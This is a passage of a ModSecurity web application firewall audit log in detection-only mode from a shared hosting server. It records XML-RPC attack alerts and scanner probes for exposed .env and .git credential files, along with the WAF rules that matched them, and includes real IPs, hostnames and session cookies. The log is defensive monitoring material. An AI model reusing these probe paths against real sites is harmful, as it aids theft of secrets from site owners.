aE9bQ387s8ehggCfEua0gQAAAAQ 128.199.112.101 47408 127.0.0.1 7081 --10cd8648-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 512 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --10cd8648-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --10cd8648-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9bQ387s8ehggCfEua0gQAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750031171855031 969092 (- - -) Stopwatch2: 1750031171855031 969092; combined=2163, p1=352, p2=1332, p3=45, p4=77, p5=227, sr=103, sw=130, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --10cd8648-Z-- --56afdf64-A-- [16/Jun/2025:05:17:12.128114 +0530] aE9bf8alTF-TysO2fMOHMgAAAAE 128.199.112.101 48260 127.0.0.1 7081 --56afdf64-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 496 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --56afdf64-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --56afdf64-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9bf8alTF-TysO2fMOHMgAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750031231165942 962229 (- - -) Stopwatch2: 1750031231165942 962229; combined=2008, p1=330, p2=1301, p3=41, p4=61, p5=173, sr=90, sw=102, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --56afdf64-Z-- --1235064b-A-- [16/Jun/2025:05:17:19.049283 +0530] aE9bhuJpWMTxMA3Q4FXtaQAAAAU 185.177.72.210 48952 127.0.0.1 7081 --1235064b-B-- GET /.env.bak HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --1235064b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=24d394a0b4b27872d15db3d1f74aa3941750031238; expires=Mon, 16 Jun 2025 00:47:18 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --1235064b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".env.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.env.bak"] [unique_id "aE9bhuJpWMTxMA3Q4FXtaQAAAAU"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".env.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/.env.bak"] [unique_id "aE9bhuJpWMTxMA3Q4FXtaQAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750031238374261 675085 (- - -) Stopwatch2: 1750031238374261 675085; combined=2472, p1=463, p2=1872, p3=0, p4=0, p5=137, sr=106, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --1235064b-Z-- --e05a0941-A-- [16/Jun/2025:05:17:31.670643 +0530] aE9bkuJpWMTxMA3Q4FXtcQAAAAU 66.249.72.129 57308 127.0.0.1 7081 --e05a0941-B-- POST /?ob=open-bridge/events HTTP/1.0 Host: www.retaxis.com X-Real-IP: 66.249.72.129 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 406 Accept-Language: en-US Content-Type: text/plain;charset=UTF-8 Cookie: _sfs_id=49d6e62977013d53dd37c917152777fd1749935798; _fbp=fb.1.1750031248069.17991876015955610 Origin: https://www.retaxis.com Referer: https://www.retaxis.com/portfolio/auzaro-b2b-multivendor-marketplace/ Accept: */* From: googlebot(at)googlebot.com User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Googlebot/2.1; +http://www.google.com/bot.html) Chrome/136.0.7103.113 Safari/537.36 Accept-Encoding: gzip, deflate, br --e05a0941-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.2.28 Vary: Origin,Accept-Encoding Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Access-Control-Allow-Origin: https://www.retaxis.com Access-Control-Allow-Credentials: true Access-Control-Max-Age: 86400 Set-Cookie: PHPSESSID=9rudi8snoqmj24cgdjhvejlhri; expires=Sat, 13 Sep 2025 23:47:31 GMT; Max-Age=7776000; path=/; domain=www.retaxis.com; HttpOnly; SameSite=lax Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8 --e05a0941-E-- --e05a0941-H-- Message: Warning. Match of "pmFromFile userdata_wl_content_type" against "TX:0" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "17"] [id "210710"] [rev "5"] [msg "COMODO WAF: Request content type is not allowed by policy. Please update file userdata_wl_content_type.||www.retaxis.com|F|2"] [data "TX:0=text/plain"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Message: Warning. Operator GE matched 5 at TX:incoming_points. [file "/etc/apache2/modsecurity.d/rules/comodo_free/20_Outgoing_FiltersEnd.conf"] [line "35"] [id "214930"] [rev "1"] [msg "COMODO WAF: Inbound Points Exceeded|Total Incoming Points: 5|www.retaxis.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "FiltersEnd"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_content_type" against "TX:0" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "17"] [id "210710"] [rev "5"] [msg "COMODO WAF: Request content type is not allowed by policy. Please update file userdata_wl_content_type.||www.retaxis.com|F|2"] [data "TX:0=text/plain"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.retaxis.com"] [uri "/"] [unique_id "aE9bkuJpWMTxMA3Q4FXtcQAAAAU"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator GE matched 5 at TX:incoming_points. [file "/etc/apache2/modsecurity.d/rules/comodo_free/20_Outgoing_FiltersEnd.conf"] [line "35"] [id "214930"] [rev "1"] [msg "COMODO WAF: Inbound Points Exceeded|Total Incoming Points: 5|www.retaxis.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "FiltersEnd"] [hostname "www.retaxis.com"] [uri "/index.php"] [unique_id "aE9bkuJpWMTxMA3Q4FXtcQAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/retaxis.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750031250570269 1100482 (- - -) Stopwatch2: 1750031250570269 1100482; combined=2787, p1=452, p2=2004, p3=123, p4=37, p5=170, sr=99, sw=1, l=0, gc=0 Response-Body-Transformed: Dechunked Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e05a0941-Z-- --83237460-A-- [16/Jun/2025:05:17:32.698840 +0530] aE9bk0oyC4_VyyL7sS6QugAAAAI 66.249.72.129 57368 127.0.0.1 7081 --83237460-B-- POST /?ob=open-bridge/events HTTP/1.0 Host: www.retaxis.com X-Real-IP: 66.249.72.129 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 406 Accept-Language: en-US Content-Type: text/plain;charset=UTF-8 Cookie: _sfs_id=49d6e62977013d53dd37c917152777fd1749935798; _fbp=fb.1.1749945600056.17991876015955610 Origin: https://www.retaxis.com Referer: https://www.retaxis.com/portfolio/auzaro-b2b-multivendor-marketplace/ Accept: */* From: googlebot(at)googlebot.com User-Agent: Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.7103.113 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) Accept-Encoding: gzip, deflate, br --83237460-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.2.28 Vary: Origin,Accept-Encoding Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Access-Control-Allow-Origin: https://www.retaxis.com Access-Control-Allow-Credentials: true Access-Control-Max-Age: 86400 Set-Cookie: PHPSESSID=ldqcjsfnnu22uijkg3i01qqjv8; expires=Sat, 13 Sep 2025 23:47:32 GMT; Max-Age=7776000; path=/; domain=www.retaxis.com; HttpOnly; SameSite=lax Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8 --83237460-E-- --83237460-H-- Message: Warning. Match of "pmFromFile userdata_wl_content_type" against "TX:0" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "17"] [id "210710"] [rev "5"] [msg "COMODO WAF: Request content type is not allowed by policy. Please update file userdata_wl_content_type.||www.retaxis.com|F|2"] [data "TX:0=text/plain"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Message: Warning. Operator GE matched 5 at TX:incoming_points. [file "/etc/apache2/modsecurity.d/rules/comodo_free/20_Outgoing_FiltersEnd.conf"] [line "35"] [id "214930"] [rev "1"] [msg "COMODO WAF: Inbound Points Exceeded|Total Incoming Points: 5|www.retaxis.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "FiltersEnd"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_content_type" against "TX:0" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "17"] [id "210710"] [rev "5"] [msg "COMODO WAF: Request content type is not allowed by policy. Please update file userdata_wl_content_type.||www.retaxis.com|F|2"] [data "TX:0=text/plain"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.retaxis.com"] [uri "/"] [unique_id "aE9bk0oyC4_VyyL7sS6QugAAAAI"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator GE matched 5 at TX:incoming_points. [file "/etc/apache2/modsecurity.d/rules/comodo_free/20_Outgoing_FiltersEnd.conf"] [line "35"] [id "214930"] [rev "1"] [msg "COMODO WAF: Inbound Points Exceeded|Total Incoming Points: 5|www.retaxis.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "FiltersEnd"] [hostname "www.retaxis.com"] [uri "/index.php"] [unique_id "aE9bk0oyC4_VyyL7sS6QugAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/retaxis.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750031251696168 1002762 (- - -) Stopwatch2: 1750031251696168 1002762; combined=2897, p1=458, p2=2169, p3=108, p4=35, p5=127, sr=127, sw=0, l=0, gc=0 Response-Body-Transformed: Dechunked Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --83237460-Z-- --0b705733-A-- [16/Jun/2025:05:17:33.106249 +0530] aE9blH87s8ehggCfEua0rQAAAAQ 185.177.72.210 57404 127.0.0.1 7081 --0b705733-B-- GET /.git/logs/refs HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --0b705733-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=515f1c22971a73c67bb2d6abbe568ec41750031252; expires=Mon, 16 Jun 2025 00:47:32 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --0b705733-H-- Message: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.git/logs/refs"] [unique_id "aE9blH87s8ehggCfEua0rQAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750031252443939 662373 (- - -) Stopwatch2: 1750031252443939 662373; combined=2009, p1=443, p2=1455, p3=0, p4=0, p5=110, sr=102, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --0b705733-Z-- --441a6575-A-- [16/Jun/2025:05:17:34.126946 +0530] aE9blWM0Xdzjsxbr1PzwNQAAAAY 185.177.72.210 57448 127.0.0.1 7081 --441a6575-B-- GET /:8880/.env.5 HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --441a6575-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=f24a0ca49df95ffa8e3b3512432331e81750031253; expires=Mon, 16 Jun 2025 00:47:33 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --441a6575-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8880/.env.5"] [unique_id "aE9blWM0Xdzjsxbr1PzwNQAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750031253448231 678802 (- - -) Stopwatch2: 1750031253448231 678802; combined=1869, p1=445, p2=1325, p3=0, p4=0, p5=98, sr=94, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --441a6575-Z-- --b3b9c637-A-- [16/Jun/2025:05:17:43.674784 +0530] aE9bnlu-mTBjBTNx-ySKSgAAAAk 185.177.72.210 45504 127.0.0.1 7081 --b3b9c637-B-- GET /:8880/v1/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --b3b9c637-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=125d0dd3ba99f22c7dca0e3f37ec083e1750031263; expires=Mon, 16 Jun 2025 00:47:43 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --b3b9c637-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8880/v1/.env"] [unique_id "aE9bnlu-mTBjBTNx-ySKSgAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750031262971820 703027 (- - -) Stopwatch2: 1750031262971820 703027; combined=1710, p1=368, p2=1233, p3=0, p4=0, p5=108, sr=85, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b3b9c637-Z-- --aed32822-A-- [16/Jun/2025:05:17:44.679828 +0530] aE9boMalTF-TysO2fMOHUgAAAAE 185.177.72.210 45912 127.0.0.1 7081 --aed32822-B-- GET /backend/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --aed32822-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=740f2e32a5a3a27017bb617ae4f9b8f21750031264; expires=Mon, 16 Jun 2025 00:47:44 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --aed32822-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/backend/.env"] [unique_id "aE9boMalTF-TysO2fMOHUgAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750031264016194 663707 (- - -) Stopwatch2: 1750031264016194 663707; combined=1757, p1=340, p2=1321, p3=0, p4=0, p5=95, sr=98, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --aed32822-Z-- --31c15376-A-- [16/Jun/2025:05:17:46.733482 +0530] aE9bomM0Xdzjsxbr1PzwRQAAAAY 185.177.72.210 45984 127.0.0.1 7081 --31c15376-B-- GET /:8888/sicherung/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --31c15376-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=1fe087eea886e889c89658dd7633746f1750031266; expires=Mon, 16 Jun 2025 00:47:46 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --31c15376-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8888/sicherung/.env"] [unique_id "aE9bomM0Xdzjsxbr1PzwRQAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750031266075515 658031 (- - -) Stopwatch2: 1750031266075515 658031; combined=1672, p1=363, p2=1198, p3=0, p4=0, p5=110, sr=96, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --31c15376-Z-- --64cf0838-A-- [16/Jun/2025:05:18:12.262573 +0530] aE9bu5bumDYPKpRD2ekvKgAAAAA 128.199.112.101 33184 127.0.0.1 7081 --64cf0838-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 501 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --64cf0838-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --64cf0838-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9bu5bumDYPKpRD2ekvKgAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750031291356961 905670 (- - -) Stopwatch2: 1750031291356961 905670; combined=2121, p1=370, p2=1327, p3=48, p4=68, p5=190, sr=106, sw=118, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --64cf0838-Z-- --bddc465b-A-- [16/Jun/2025:05:18:55.877707 +0530] aE9b5-JpWMTxMA3Q4FXtmgAAAAU 185.177.72.210 39494 127.0.0.1 7081 --bddc465b-B-- GET /src/__tests__/__fixtures__/typeScriptIntegrationProject/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --bddc465b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=a8308bb76fc08c7b70653f9d30efb99b1750031335; expires=Mon, 16 Jun 2025 00:48:55 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --bddc465b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname 